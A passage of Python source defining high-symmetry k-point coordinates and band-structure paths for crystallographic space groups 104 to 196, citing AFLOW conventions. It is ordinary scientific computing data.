0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 104: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 105: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 106: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 107: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, ] }, 108: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, ] }, 109: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, ] }, 110: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, ] }, 111: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 112: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 113: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 114: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 115: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 116: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 117: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 118: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 119: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, ] }, 120: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, ] }, 121: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "PA":[-0.25,-0.25,0.75], "N": [0.0, 0.5, 0.0], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "PA":[-0.25,-0.25,0.75], "N": [0.0, 0.5, 0.0], }, ] }, 122: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "PA":[-0.25,-0.25,0.75], "N": [0.0, 0.5, 0.0], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "PA":[-0.25,-0.25,0.75], "N": [0.0, 0.5, 0.0], }, ] }, 123: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "R": [0.0, 0.5, 0.5], "X": [0.0, 0.5, 0.0], } ] }, 124: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "R": [0.0, 0.5, 0.5], "X": [0.0, 0.5, 0.0], } ] }, 125: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "R": [0.0, 0.5, 0.5], "X": [0.0, 0.5, 0.0], } ] }, 126: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "R": [0.0, 0.5, 0.5], "X": [0.0, 0.5, 0.0], } ] }, 127: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "R": [0.0, 0.5, 0.5], "X": [0.0, 0.5, 0.0], } ] }, 128: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "R": [0.0, 0.5, 0.5], "X": [0.0, 0.5, 0.0], } ] }, 129: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "R": [0.0, 0.5, 0.5], "X": [0.0, 0.5, 0.0], } ], "path": [ [ "GM-X-M-GM-Z-R-A-Z", ], [ "GM-X-M-GM-Z-R-A-Z", ], ] }, 130: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "R": [0.0, 0.5, 0.5], "X": [0.0, 0.5, 0.0], } ] }, 131: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "R": [0.0, 0.5, 0.5], "X": [0.0, 0.5, 0.0], } ] }, 132: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "R": [0.0, 0.5, 0.5], "X": [0.0, 0.5, 0.0], } ] }, 133: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "R": [0.0, 0.5, 0.5], "X": [0.0, 0.5, 0.0], } ] }, 134: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "R": [0.0, 0.5, 0.5], "X": [0.0, 0.5, 0.0], } ] }, 135: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "R": [0.0, 0.5, 0.5], "X": [0.0, 0.5, 0.0], } ] }, 136: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "R": [0.0, 0.5, 0.5], "X": [0.0, 0.5, 0.0], } ], "kpath": [ ["Z-A-M-GM-Z-R-X-GM"] ] }, 137: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "R": [0.0, 0.5, 0.5], "X": [0.0, 0.5, 0.0], } ] }, 138: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "R": [0.0, 0.5, 0.5], "X": [0.0, 0.5, 0.0], } ] }, 139: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, ] }, 140: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, ] }, 141: { "cond": cond_c_lt_a, "spPrim": [ {# AFLOW BCT2 lattices SKP "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], "Z": [0.5, 0.5,-0.5], # Equivalent to M, # present in Curtarolo2010 and MS }, {# AFLOW BCT1 lattices SKP "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], "Z": [-0.5, 0.5, 0.5], # Equivalent to M, # present in Curtarolo2010 and MS }, ], "path": [ [ "M-GM-X-P-N-GM", ], [ "M-GM-X-P-N-GM", ], ] }, 142: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, ] }, 143: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "KA": [2/3.0,-1/3.0, 0.0], "HA": [2/3.0,-1/3.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], } ] }, 144: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "KA": [2/3.0,-1/3.0, 0.0], "HA": [2/3.0,-1/3.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], } ] }, 145: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "KA": [2/3.0,-1/3.0, 0.0], "HA": [2/3.0,-1/3.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], } ] }, 146: { "cond": cond_curt_a_lt_sqrt_c, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "T": [0.5, 0.5,-0.5], }, { "GM": [0.0, 0.0, 0.0], "T": [0.5, 0.5, 0.5], }, ] }, 147: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 148: { "cond": cond_curt_a_lt_sqrt_c, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "T": [0.5, 0.5,-0.5], "L": [0.0, 0.5, 0.0], "FA": [0.0, 0.5,-0.5], }, { "GM": [0.0, 0.0, 0.0], "T": [0.5, 0.5,-0.5], # ? need cross-check second T for R group, 146, 148, 155, 160, 161 "L": [0.0, 0.5, 0.0], "FB": [0.5, 0.5, 0.0], }, ] }, 149: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 150: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "KA": [2/3.0,-1/3.0, 0.0], "HA": [2/3.0,-1/3.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 151: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 152: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "KA": [2/3.0,-1/3.0, 0.0], "HA": [2/3.0,-1/3.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 153: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 154: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "KA": [2/3.0,-1/3.0, 0.0], "HA": [2/3.0,-1/3.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 155: { "cond": cond_curt_a_lt_sqrt_c, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "T": [0.5, 0.5,-0.5], "L": [0.0, 0.5, 0.0], "FA": [0.0, 0.5,-0.5], }, { "GM": [0.0, 0.0, 0.0], "T": [0.5, 0.5, 0.5], "L": [0.0, 0.5, 0.0], "FB": [0.5, 0.5, 0.0], }, ] }, 156: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 157: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "KA": [2/3.0,-1/3.0, 0.0], "HA": [2/3.0,-1/3.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 158: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 159: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "KA": [2/3.0,-1/3.0, 0.0], "HA": [2/3.0,-1/3.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 160: { "cond": cond_curt_a_lt_sqrt_c, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "T": [0.5, 0.5,-0.5], "L": [0.0, 0.5, 0.0], "FA": [0.0, 0.5,-0.5], }, { "GM": [0.0, 0.0, 0.0], "T": [0.5, 0.5,-0.5], "L": [0.0, 0.5, 0.0], "FB": [0.5, 0.5, 0.0], }, ] }, 161: { "cond": cond_curt_a_lt_sqrt_c, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "T": [0.5, 0.5,-0.5], "L": [0.0, 0.5, 0.0], "FA": [0.0, 0.5,-0.5], }, { "GM": [0.0, 0.0, 0.0], "T": [0.5, 0.5,-0.5], "L": [0.0, 0.5, 0.0], "FB": [0.5, 0.5, 0.0], }, ] }, 162: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 163: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 164: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 165: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 166: { "cond": cond_curt_a_lt_sqrt_c, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "T": [0.5, 0.5,-0.5], "L": [0.0, 0.5, 0.0], "FA": [0.0, 0.5,-0.5], }, { "GM": [0.0, 0.0, 0.0], "T": [0.5, 0.5, 0.5], "L": [0.0, 0.5, 0.0], "FB": [0.0, 0.5, 0.5], }, ] }, 167: { "cond": cond_curt_a_lt_sqrt_c, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "T": [0.5, 0.5,-0.5], "L": [0.0, 0.5, 0.0], "FA": [0.0, 0.5,-0.5], }, { "GM": [0.0, 0.0, 0.0], "T": [0.5, 0.5, 0.5], "L": [0.0, 0.5, 0.0], "FB": [0.0, 0.5, 0.5], }, ] }, 168: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 169: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 170: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 171: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 172: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 173: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 174: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "KA": [2/3.0,-1/3.0, 0.0], "HA": [2/3.0,-1/3.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 175: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 176: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 177: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 178: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 179: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 180: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 181: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 182: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 183: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 184: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 185: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 186: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 187: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 188: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 189: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "KA": [2/3.0,-1/3.0, 0.0], "HA": [2/3.0,-1/3.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 190: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "KA": [2/3.0,-1/3.0, 0.0], "HA": [2/3.0,-1/3.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 191: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 192: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 193: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 194: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "A": [0.0, 0.0, 0.5], "K": [1/3.0, 1/3.0, 0.0], "H": [1/3.0, 1/3.0, 0.5], "M": [0.5, 0.0, 0.0], "L": [0.5, 0.0, 0.5], } ] }, 195: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "R": [0.5, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "X": [0.0, 0.5, 0.0], } ] }, 196: { "cond": 